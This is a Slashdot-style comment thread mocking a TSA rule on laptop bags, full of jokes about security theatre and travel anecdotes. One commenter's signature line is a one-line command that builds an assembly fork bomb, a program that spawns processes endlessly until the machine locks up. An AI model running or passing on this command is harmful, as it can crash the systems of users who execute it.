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TSA To Allow Laptops In Approved Bags
mnovotny writes "TIME is reporting that TSA will be allowing laptops in approved bags through security checkpoints. 'The new rules, announced Tuesday and set to take effect Aug. 16, are intended to help streamline the X-ray inspection lines. To qualify as "checkpoint friendly," a bag must have a designated laptop-only section that unfolds to lie flat on the X-ray machine belt and contains no metal snaps, zippers or buckles and no pockets.'" Don't you feel safer? I wish an independent 3rd-party group could get together and see what they could get through security without being arrested for the experiment. So little of what the TSA is doing is any more than illusion.
It's all black leather covered in studs, spikes and chains.
gotta love a Vampire goth laptop bag to get you wierd looks when wearing a 3 piece suit.
Do not look at laser with remaining good eye.
Are these TSA-approved laptop bags going to protect my laptop as well as TSA-approved locks keep people out of my luggage?
Next year, TSA plans to allow people wearing clear body bags through security faster. While you do give up some privacy, think of the minutes you'll save.
What exactly can you hide behind a zipper or snap? And why can't it have a pocket? I know it's all silly, but it seems like a ton of bags would be compliant if it weren't for those three things. Is this some secret plan to advance the economy by making travelers all buy new laptop bags?
Maybe by getting bitten by snakes? ;)
Bark less. Wag more.
Airport security will get a lot more uncomfortable when they catch somebody trying to light a bomb hidden up their ass.
If the president hijacks Air Force One and plows it into the White House, then I'm not gonna vote for him in the next election. Just sayin'.
A post a day keeps productivity at bay.
> Instead we live in fear of 4 oz of toothpaste.
Don't worry, you're not the only one who freaks out when confronted with Imperial units.
If the president hijacks Air Force One and plows it into the White House, then I'm not gonna vote for him in the next election. Just sayin'.
Well the President maybe, but Cheney would probably get away with it.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Well the one thing we can do without going to jail is parody. I found this which may be old, "TSA gangstaz" http://www.youtube.com/watch?v=z7AWw7t5zj0
Not safe for work environments, especially TSA, preschools, and people who have sucky bosses.
6 buckets later (2 laptops, the laptop bag, my carryon, my shoes, and the Xbox 360) they scanned EVERY ONE of my common household items to determine that I was not a terr-o-ist, only to discover that 1. Their xray could not actually scan the laptops or 360 accurately and that 2. Due to the design of the chutes, the line was help up even more as I repacked the carryon.
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...or a breathalyser.
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I'd high jack a FedEx or a UPS plane.
Only if you wanted to be there overnight.
If "disco" means "I learn" in Latin, does "discothèque" mean "I learn technology"?
Why exactly are we not allowed to carry screwdrivers etc on board and then (I did this last week at DTW, Detroit) you receive a sharp metal knife and fork in the restaurant after security?
Obviously with a scary screwdriver, one could disassemble the conveyance mid-flight.
Reminds me of when I flew from ORD to LAX about 60 days after 9/11.
After getting through security and checking out all the army guys with huge guns, I get to the ORD snack/food area for my terminal. I assume that before 9/11 they were handing out plastic utensils, because that's what they were handing out post-9/11...except for the plastic knives.
Yep, they had decided that plastic knives were a threat, but plastic forks or spoons were OK. All of which can be made into a stabby plastic weapon in a few seconds. Why were the knives singled out? Forks are probably more dangerous; their handle is certainly sturdier...
With the first link, the chain is forged.
Maybe you can go across the ocean by tramp steamer... Very romantic.
Yeah but if you do that as opposed to flying you have a pretty decent chance of stealing Kate Winslet from some rich asshole that doesn't appreciate her ;) Now that global warming has arrived you don't even have to worry about icebergs ruining your trip ;)
I want peace on earth and goodwill toward man.
We are the United States Government! We don't do that sort of thing.
but Cheney would probably get away with it
Naw, Cheney wouldn't hijack Air Force One. Not his style. He'd shoot the White House in the face and make it apologize to him afterwards ;)
I want peace on earth and goodwill toward man.
We are the United States Government! We don't do that sort of thing.
Coming soon: the Targus Burlap Sack 2000.
It is pitch black. You are likely to be eaten by a grue.
When I take an important political hostage, I don't ship him via FedEx or UPS. I send him USPS book rate to save money.
The Internet is generally stupid
He got away with shooting a lawyer in the face.
Stop defending him!
SO .. in a recent trip to a caribian island this past week I managed to carry the following through TSA and onto a plane :
10 Cuban Cigars
1 Torch Lighter
1 'regular' lighter
1 cigar cutter
My bag was opened and searched. my cigar case (which contained everything) was opened, the lighters were examined (but not lit .. the torch was a zippo with a torch insert ..) and then re-closed.
On the trip BACK from the same caribian island, I managed to bring four of the above cigars and the normal lighter into the plane and through customs. [The torch lighter was either lost or stolen on our trip]
On previous trips, we have brought both cigars, and bottles of absinthe back with us, occasionally being searched.
Personally, I'm grateful that the TSA is so fixated on electronic equipment now, as it lets me :P
support my exotic cigar habit
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Yeah, but the TSA knew he didn't mean to bring them. They didn't stop him because he wasn't a terrorist. They know these things, you know.